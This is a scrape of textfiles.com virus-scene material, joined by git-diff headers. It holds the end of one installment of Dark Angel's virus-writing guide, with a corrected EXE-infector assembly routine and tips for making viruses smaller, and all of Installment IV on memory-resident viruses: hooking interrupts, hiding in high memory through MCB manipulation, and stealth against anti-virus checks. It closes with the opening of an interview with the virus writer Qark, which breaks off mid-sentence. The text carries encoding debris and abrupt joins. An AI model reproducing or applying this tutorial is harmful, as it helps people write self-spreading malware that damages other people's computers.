one, now is there! Of course, some virii don't contain any bomb to speak
of. Generally speaking, only those under about 500 bytes lack bombs.
There is no advantage of not having a bomb other than size considerations.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MEA CULPA
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I regret to inform you that the EXE infector presented in the last
installment was not quite perfect. I admit it. I made a mistake of
colossal proportions The calculation of the file size and file size mod
512 was screwed up. Here is the corrected version:
; On entry, DX:AX hold the NEW file size
push ax ; Save low word of filesize
mov cl, 9 ; 2^9 = 512
shr ax, cl ; / 512
ror dx, cl ; / 512 (sort of)
stc ; Check EXE header description
; for explanation of addition
adc dx, ax ; of 1 to the DIV 512 portion
pop ax ; Restore low word of filesize
and ah, 1 ; MOD 512
This results in the file size / 512 + 1 in DX and the file size modulo 512
in AX. The rest remains the same. Test your EXE infection routine with
Microsoft's LINK.EXE, since it won't run unless the EXE infection is
perfect.
I have saved you the trouble and smacked myself upside the head for this
dumb error.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TIPS AND TRICKS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
So now all the parts of the nonresident virus have been covered. Yet I
find myself left with several more K to fill. So, I shall present several
simple techniques anyone can incorporate into virii to improve efficiency.
1. Use the heap
The heap is the memory area between the end of code and the bottom of
the stack. It can be conveniently treated as a data area by a virus.
By moving variables to the heap, the virus need not keep variables in
its code, thereby reducing its length. Note that since the contents
heap are not part of the virus, only temporary variables should be
kept there, i.e. the infection routine should not count the heap as
part of the virus as that would defeat the entire purpose of its use.
There are two ways of using the heap:
; First method
EndOfVirus:
Variable1 equ $
Variable2 equ Variable1 + LengthOfVariable1
Variable3 equ Variable2 + LengthOfVariable2
Variable4 equ Variable3 + LengthOfVariable3
; Example of first method
EndOfVirus:
StartingDirectory = $
TemporaryDTA = StartingDirectory + 64
FileSize = TemporaryDTA + 42
Flag = FileSize + 4
; Second method
EndOfVirus:
Variable1 db LengthOfVariable1 dup (?)
Variable2 db LengthOfVariable2 dup (?)
Variable3 db LengthOfVariable3 dup (?)
Variable4 db LengthOfVariable4 dup (?)
; Example of second method
EndOfVirus:
StartingDirectory db 64 dup (?)
TemporaryDTA db 42 dup (?)
FileSize dd ?
Flag db ?
The two methods differ slightly. By using the first method, you
create a file which will be the exact length of the virus (plus
startup code). However, when referencing the variables, size
specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
be used or the assembler will become befuddled. Secondly, if the
variables need to be rearranged for some reason, the entire chain of
EQUates will be destroyed and must be rebuilt. Virii coded with
second method do not need size specifications, but the resulting file
will be larger than the actual size of the virus. While this is not
normally a problem, depending on the reinfection check, the virus may
infect the original file when run. This is not a big disability,
especially considering the advantages of this method.
In any case, the use of the heap can greatly lessen the effective
length of the virus code and thereby make it much more efficient. The
only thing to watch out for is infecting large COM files where the
heap will "wrap around" to offset 0 of the same segment, corrupting
the PSP. However, this problem is easily avoided. When considering
whether a COM file is too large to infect for this reason, simply add
the temporary variable area size to the virus size for the purposes of
the check.
2. Use procedures
Procedures are helpful in reducing the size of the virus, which is
always a desired goal. Only use procedures if they save space. To
determine the amount of bytes saved by the use of a procedure, use the
following formula:
Let PS = the procedure size, in bytes
bytes saved = (PS - 4) * number invocations - PS
For example, the close file procedure,
close_file:
mov ah, 3eh ; 2 bytes
int 21h ; 2 bytes
ret ; 1 byte
; PS = 2+2+1 = 5
is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A
whopping savings of one (1) byte! Since no virus closes a file in six
different places, the close file procedure is clearly useless and
should be avoided.
Whenever possible, design the procedures to be as flexible as
possible. This is the chief reason why Bulgarian coding is so tight.
Just take a look at the source for Creeping Death. For example, the
move file pointer procedure:
go_eof:
mov al, 2
move_fp:
xor dx, dx
go_somewhere:
xor cx, cx
mov ah, 42h
int 21h
ret
The function was build with flexibility in mind. With a CALL to
go_eof, the procedure will move the file pointer to the end of the
file. A CALL to move_fp with AL set to 0, the file pointer will be
reset. A CALL to go_somewhere with DX and AL set, the file pointer
may be moved anywhere within the file. If the function is used
heavily, the savings could be enormous.
3. Use a good assembler and debugger
The best assembler I have encountered to date is Turbo Assembler. It
generates tight code extremely quickly. Use the /m2 option to
eliminate all placeholder NOPs from the code. The advantages are
obvious - faster development and smaller code.
The best debugger is also made by Borland, the king of development
tools. Turbo Debugger has so many features that you might just want
to buy it so you can read the manual! It can bypass many debugger
traps with ease and is ideal for testing. Additionally, this debugger
has 286 and 386 specific protected mode versions, each of which are
even more powerful than their real mode counterparts.
4. Don't use MOV instead of LEA
When writing your first virus, you may often forget to use LEA instead
of MOV when loading offsets. This is a serious mistake and is often
made by beginning virus coders. The harmful effects of such a
grevious error are immediately obvious. If the virus is not working,
check for this bug. It's almost as hard to catch as a NULL pointer
error in C.
5. Read the latest issues of 40Hex
40Hex, PHALCON/SKISM's official journal of virus techniques and news,
is a publication not to be missed by any self-respecting virus writer.
Each issue contains techniques and source code, designed to help all
virus writers, be they beginners or experts. Virus-related news is
also published. Get it, read it, love it, eat it!
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SO NOW
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
you have all the code and information sufficient to write a viable virus,
as well as a wealth of techniques to use. So stop reading and start
writing! The only way to get better is through practise. After two or
three tries, you should be well on your way to writing good virii.
Downloaded From P-80 International Information Systems 304-744-2253

379
textfiles.com/virus/ps_vir4.vir Normal file
View File

@@ -0,0 +1,379 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: This file is 100% guaranteed to
exist. The author makes no claims to the
existence or nonexistence of the reader.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This space intentionally left blank.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GREETS: Welcome home, Hellraiser! Hello to
the rest of the PHALCON/SKISM crew: Count
Zero, Demogorgon, Garbageheap, as well as
everyone else I failed to mention.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Clumpy Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
"It's the cheesiest" - Kraft
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT IV: RESIDENT VIRII, PART I
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Now that the topic of nonresident virii has been addressed, this series now
turns to memory resident virii. This installment covers the theory behind
this type of virus, although no code will be presented. With this
knowledge in hand, you can boldly write memory resident virii confident
that you are not fucking up too badly.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INTERRUPTS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DOS kindly provides us with a powerful method of enhancing itself, namely
memory resident programs. Memory resident programs allow for the extention
and alteration of the normal functioning of DOS. To understand how memory
resident programs work, it is necessary to delve into the intricacies of
the interrupt table. The interrupt table is located from memory location
0000:0000 to 0000:0400h (or 0040:0000), just below the BIOS information
area. It consists of 256 double words, each representing a segment:offset
pair. When an interrupt call is issued via an INT instruction, two things
occur, in this order:
1) The flags are pushed onto the stack.
2) A far call is issued to the segment:offset located in the interrupt
table.
To return from an interrupt, an iret instruction is used. The iret
instruction reverses the order of the int call. It performs a retf
followed by a popf. This call/return procedure has an interesting
sideeffect when considering interrupt handlers which return values in the
flags register. Such handlers must directly manipulate the flags register
saved in the stack rather than simply directly manipulating the register.
The processor searches the interrupt table for the location to call. For
example, when an interrupt 21h is called, the processor searches the
interrupt table to find the address of the interrupt 21h handler. The
segment of this pointer is 0000h and the offset is 21h*4, or 84h. In other
words, the interrupt table is simply a consecutive chain of 256 pointers to
interrupts, ranging from interrupt 0 to interrupt 255. To find a specific
interrupt handler, load in a double word segment:offset pair from segment
0, offset (interrupt number)*4. The interrupt table is stored in standard
Intel reverse double word format, i.e. the offset is stored first, followed
by the segment.
For a program to "capture" an interrupt, that is, redirect the interrupt,
it must change the data in the interrupt table. This can be accomplished
either by direct manipulation of the table or by a call to the appropriate
DOS function. If the program manipulates the table directly, it should put
this code between a CLI/STI pair, as issuing an interrupt by the processor
while the table is half-altered could have dire consequences. Generally,
direct manipulation is the preferable alternative, since some primitive
programs such as FluShot+ trap the interrupt 21h call used to set the
interrupt and will warn the user if any "unauthorised" programs try to
change the handler.
An interrupt handler is a piece of code which is executed when an interrupt
is requested. The interrupt may either be requested by a program or may be
requested by the processor. Interrupt 21h is an example of the former,
while interrupt 8h is an example of the latter. The system BIOS supplies a
portion of the interrupt handlers, with DOS and other programs supplying
the rest. Generally, BIOS interrupts range from 0h to 1Fh, DOS interrupts
range from 20h to 2Fh, and the rest is available for use by programs.
When a program wishes to install its own code, it must consider several
factors. First of all, is it supplanting or overlaying existing code, that
is to say, is there already an interrupt handler present? Secondly, does
the program wish to preserve the functioning of the old interrupt handler?
For example, a program which "hooks" into the BIOS clock tick interrupt
would definitely wish to preserve the old interrupt handler. Ignoring the
presence of the old interrupt handler could lead to disastrous results,
especially if previously-loaded resident programs captured the interrupt.
A technique used in many interrupt handlers is called "chaining." With
chaining, both the new and the old interrupt handlers are executed. There
are two primary methods for chaining: preexecution and postexecution. With
preexecution chaining, the old interrupt handler is called before the new
one. This is accomplished via a pseudo-INT call consisting of a pushf
followed by a call far ptr. The new interrupt handler is passed control
when the old one terminates. Preexecution chaining is used when the new
interrupt handler wishes to use the results of the old interrupt handler in
deciding the appropriate action to take. Postexecution chaining is more
straightforward, simply consisting of a jmp far ptr instruction. This
method doesn't even require an iret instruction to be located in the new
interrupt handler! When the jmp is executed, the new interrupt handler has
completed its actions and control is passed to the old interrupt handler.
This method is used primarily when a program wishes to intercept the
interrupt call before DOS or BIOS gets a chance to process it.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
AN INTRODUCTION TO DOS MEMORY ALLOCATION
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Memory allocation is perhaps one of the most difficult concepts, certainly
the hardest to implement, in DOS. The problem lies in the lack of official
documentation by both Microsoft and IBM. Unfortunately, knowledge of the
DOS memory manager is crucial in writing memory-resident virii.
When a program asks DOS for more memory, the operating system carves out a
chunk of memory from the pool of unallocated memory. Although this concept
is simple enough to understand, it is necessary to delve deeper in order to
have sufficient knowledge to write effective memory-resident virii. DOS
creates memory control blocks (MCBs) to help itself keep track of these
chunks of memory. MCBs are paragraph-sized areas of memory which are each
devoted to keeping track of one particular area of allocated memory. When
a program requests memory, one paragraph for the MCB is allocated in
addition to the memory requested by the program. The MCB lies just in
front of the memory it controls. Visually, a MCB and its memory looks
like:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> MCB 1 <20> Chunk o' memory controlled by MCB 1 <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
When a second section of memory is requested, another MCB is created just
above the memory last allocated. Visually:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> MCB 1 <20> Chunk 1 <20> MCB 2 <20> Chunk 2 <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
In other words, the MCBs are "stacked" one on top of the other. It is
wasteful to deallocate MCB 1 before MCB 2, as holes in memory develop. The
structure for the MCB is as follows:
Offset Size Meaning
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.
If the byte at offset 0 is 'M', then the MCB is not the end of the chain.
The 'Z' denotes the end of the MCB chain. There can be more than one MCB
chain present in memory at once and this "feature" is used by virii to go
resident in high memory. The word at offset 1 is normally equal to the PSP
of the MCB's owner. If it is 0, it means that the block is free and is
available for use by programs. A value of 0008h in this field denotes DOS
as the owner of the block. The value at offset 3 does NOT include the
paragraph allocated for the MCB. It reflects the value passed to the DOS
allocation functions. All fields located after the block size are pretty
useless so you might as well ignore them.
When a COM file is loaded, all available memory is allocated to it by DOS.
When an EXE file is loaded, the amount of memory specified in the EXE
header is allocated. There is both a minimum and maximum value in the
header. Usually, the linker will set the maximum value to FFFFh
paragraphs. If the program wishes to allocate memory, it must first shrink
the main chunk of memory owned by the program to the minimum required.
Otherwise, the pathetic attempt at memory allocation will fail miserably.
Since programs normally are not supposed to manipulate MCBs directly, the
DOS memory manager calls (48h - 4Ah) all return and accept values of the
first program-usable memory paragraph, that is, the paragraph of memory
immediately after the MCB. It is important to keep this in mind when
writing MCB-manipulating code.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
METHODS OF GOING RESIDENT
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
There are a variety of memory resident strategies. The first is the use of
the traditional DOS interrupt TSR routines, either INT 27h or INT
21h/Function 31h. These routines are undesirable when writing virii,
because they do not return control back to the program after execution.
Additionally, they show up on "memory walkers" such as PMAP and MAPMEM.
Even a doorknob can spot such a blatant viral presence.
The traditional viral alternative to using the standard DOS interrupt is,
of course, writing a new residency routine. Almost every modern virus uses
a routine to "load high," that is, to load itself into the highest possible
memory location. For example, in a 640K system, the virus would load
itself just under the 640K but above the area reserved by DOS for program
use. Although this is technically not the high memory area, it shall be
referred to as such in the remainder of this file in order to add confusion
and general chaos into this otherwise well-behaved file. Loading high can
be easily accomplished through a series of interrupt calls for reallocation
and allocation. The general method is:
1. Find the memory size
2. Shrink the program's memory to the total memory size - virus size
3. Allocate memory for the virus (this will be in the high memory area)
4. Change the program's MCB to the end of the chain (Mark it with 'Z')
5. Copy the virus to high memory
6. Save the old interrupt vectors if the virus wishes to chain vectors
7. Set the interrupt vectors to the appropriate locations in high memory
When calculating memory sizes, remember that all sizes are in paragraphs.
The MCB must also be considered, as it takes up one paragraph of memory.
The advantage of this method is that it does not, as a rule, show up on
memory walkers. However, the total system memory as shown by such programs
as CHKDSK will decrease.
A third alternative is no allocation at all. Some virii copy themselves to
the memory just under 640K, but fail to allocate the memory. This can have
disastrous consequences, as any program loaded by DOS can possibly use this
memory. If it is corrupted, unpredictable results can occur. Although no
memory loss is shown by CHKDSK, the possible chaos resulting from this
method is clearly unacceptable. Some virii use memory known to be free.
For example, the top of the interrupt table or parts of video memory all
may be used with some assurance that the memory will not be corrupted.
Once again, this technique is undesirable as it is extremely unstable.
These techniques are by no means the only methods of residency. I have
seen such bizarre methods as going resident in the DOS internal disk
buffers. Where there's memory, there's a way.
It is often desirable to know if the virus is already resident. The
simplest method of doing this is to write a checking function in the
interrupt handler code. For example, a call to interrupt 21h with the ax
register set to 7823h might return a 4323h value in ax, signifying
residency. When using this check, it is important to ensure that no
possible conflicts with either other programs or DOS itself will occur.
Another method, albeit a costly process in terms of both time and code
length, is to check each segment in memory for the code indicating the
presence of the virus. This method is, of course, undesirable, since it is
far, far simpler to code a simple check via the interrupt handler. By
using any type of check, the virus need not fear going resident twice,
which would simply be a waste of memory.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WHY RESIDENT?
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Memory resident virii have several distinct advantages over runtime virii.
o Size
Memory resident virii are often smaller than their runtime brethern as
they do not need to include code to search for files to infect.
o Effectiveness
They are often more virulent, since even the DIR command can be
"infected." Generally, the standard technique is to infect each file
that is executed while the virus is resident.
o Speed
Runtime virii infect before a file is executed. A poorly written or
large runtime virus will cause a noticible delay before execution
easily spotted by users. Additionally, it causes inordinate disk
activity which is detrimental to the lifespan of the virus.
o Stealth
The manipulation of interrupts allows for the implementation of
stealth techniques, such as the hiding of changes in file lengths in
directory listings and on-the-fly disinfection. Thus it is harder for
the average user to detect the virus. Additionally, the crafty virus
may even hide from CRC checks, thereby obliterating yet another anti-
virus detection technique.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STRUCTURE OF THE RESIDENT VIRUS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
With the preliminary information out of the way, the discussion can now
shift to more virus-related, certainly more interesting topics. The
structure of the memory resident virus is radically different from that of
the runtime virus. It simply consists of a short stub used to determine if
the virus is already resident. If it is not already in memory, the stuf
loads it into memory through whichever method. Finally, the stub restores
control to the host program. The rest of the code of the resident virus
consists of interrupt handlers where the bulk of the work is done.
The stub is the only portion of the virus which needs to have delta offset
calculations. The interrupt handler ideally will exist at a location which
will not require such mundane fixups. Once loaded, there should be no
further use of the delta offset, as the location of the variables is
preset. Since the resident virus code should originate at offset 0 of the
memory block, originate the source code at offset 0. Do not include a jmp
to the virus code in the original carrier file. When moving the virus to
memory, simply move starting from [bp+startvirus] and the offsets should
work out as they are in the source file. This simplifies (and shortens)
the coding of the interrupt handlers.
Several things must be considered in writing the interrupt handlers for a
virus. First, the virus must preserve the registers. If the virus uses
preexecution chaining, it must save the registers after the call to the
original handler. If the virus uses postexecution chaining, it must
restore the original registers of the interrupt call before the call to the
original handler. Second, it is more difficult, though not impossible, to
implement encryption with memory resident virii. The problem is that if
the interrupt handler is encrypted, that interrupt handler cannot be called
before the decryption function. This can be a major pain in the ass. The
cheesy way out is to simply not include encryption. I prefer the cheesy
way. The noncheesy readers out there might wish to have the memory
simultaneously hold two copies of the virus, encrypt the unused copy, and
use the encrypted copy as the write buffer. Of course, the virus would
then take twice the amount of memory it would normally require. The use of
encryption is a matter of personal choice and cheesiness. A sidebar to
preservation of interrupt handlers: As noted earlier, the flags register is
restored from the stack. It is important in preexecution chaining to save
the new flags register onto the stack where the old flags register was
stored.
Another important factor to consider when writing interrupt handlers,
especially those of BIOS interrupts, is DOS's lack of reentrance. This
means that DOS functions cannot be executed while DOS is in the midst of
processing an interrupt request. This is because DOS sets up the same
stack pointer each time it is called, and calling the second DOS interrupt
will cause the processing of one to overwrite the stack of the other,
causing unpredictable, but often terminal, results. This applies
regardless of which DOS interrupts are called, but it is especially true
for interrupt 21h, since it is often tempting to use it from within an
interrupt handler. Unless it is certain that DOS is not processing a
previous request, do NOT use a DOS function in the interrupt handler. It
is possible to use the "lower" interrupt 21h functions without fear of
corrupting the stack, but they are basically the useless ones, performing
functions easily handled by BIOS calls or direct hardware access. This
entire discussion only applies to hooking non-DOS interrupts. With hooking
DOS interrupts comes the assurance that DOS is not executing elsewhere,
since it would then be corrupting its own stack, which would be a most
unfortunate occurence indeed.
The most common interrupt to hook is, naturally, interrupt 21h. Interrupt
21h is called by just about every DOS program. The usual strategy is for a
virus to find potential files to infect by intercepting certain DOS calls.
The primary functions to hook include the find first, find next, open, and
execute commands. By cleverly using pre and postexecution chaining, a
virus can easily find the file which was found, opened, or executed and
infect it. The trick is simply finding the appropriate method to isolate
the filename. Once that is done, the rest is essentially identical to the
runtime virus.
When calling interrupts hooked by the virus from the virus interrupt code,
make sure that the virus does not trap this particular call, lest an
infinite loop result. For example, if the execute function is trapped and
the virus wishes, for some reason, to execute a particular file using this
function, it should NOT use a simple "int 21h" to do the job. In cases
such as this where the problem is unavoidable, simply simulate the
interrupt call with a pushf/call combination.
The basic structure of the interrupt handler is quite simple. The handler
first screens the registers for either an identification call or for a
trapped function such as execute. If it is not one of the above, the
handler throws control back to the original interrupt handler. If it is an
identification request, the handler simply sets the appropriate registers
and returns to the calling program. Otherwise, the virus must decide if
the request calls for pre or postexecution chaining. Regardless of which
it uses, the virus must find the filename and use that information to
infect. The filename may be found either through the use of registers as
pointers or by searching thorugh certain data structures, such as FCBs.
The infection routine is the same as that of nonresident virii, with the
exception of the guidelines outlined in the previous few paragraphs.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WHAT'S TO COME
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I apologise for the somewhat cryptic sentences used in the guide, but I'm a
programmer, not a writer. My only suggestion is to read everything over
until it makes sense. I decided to pack this issue of the guide with
theory rather than code. In the next installment, I will present all the
code necessary to write a memory-resident virus, along with some techniques
which may be used. However, all the information needed to write a resident
virii has been included in this installment; it is merely a matter of
implementation. Have buckets o' fun!
Downloaded From P-80 International Information Systems 304-744-2253

445
textfiles.com/virus/qkinterv.iew Normal file
View File

@@ -0,0 +1,445 @@
Qark is one of the two founders of VLAD (Virus Labs And Distrubution).
(The other founder, Metabolis was interviewed by me for IR6) He's
of course a viruswriter and has written a lot of new groundbreaking
viruses, invented new techniques and has in a quite short time made a very
good reputation for himself and VLAD.
Well, I got nothing to add about this person, because you should
know him :-), by reputation or via IRC than he's very nice and even
though he's a highly skilled coder, he's always happy to help you out!
Enjoy!
- The Unforgiven.
PS.
'-' = TU
no '-' = Qark :-).
Edited by Qark, himself.
================================================================================
-Even though it might be pointless, introduce yourself to the readers!
I am Qark, an Australian virus writer born in the seventies.
-How are you in a private matter?
What ? :-) (non comprende)
-How is it to live in Australia?
A lot warmer than Sweden! :-) I've never seen snow..
Australia is alot like the US but fewer guns and a different accent.
-In what other country could you consider living?
Only english speaking countries where its not too cold.
Maybe England or New Zealand (USA has too much crime).
-Do you have any plans to move away from Australia?
Nope.
-What do you do for a living?
I'm a Tertiary Student, although I don't take university very
seriously. I choose most of my subjects based on their ability
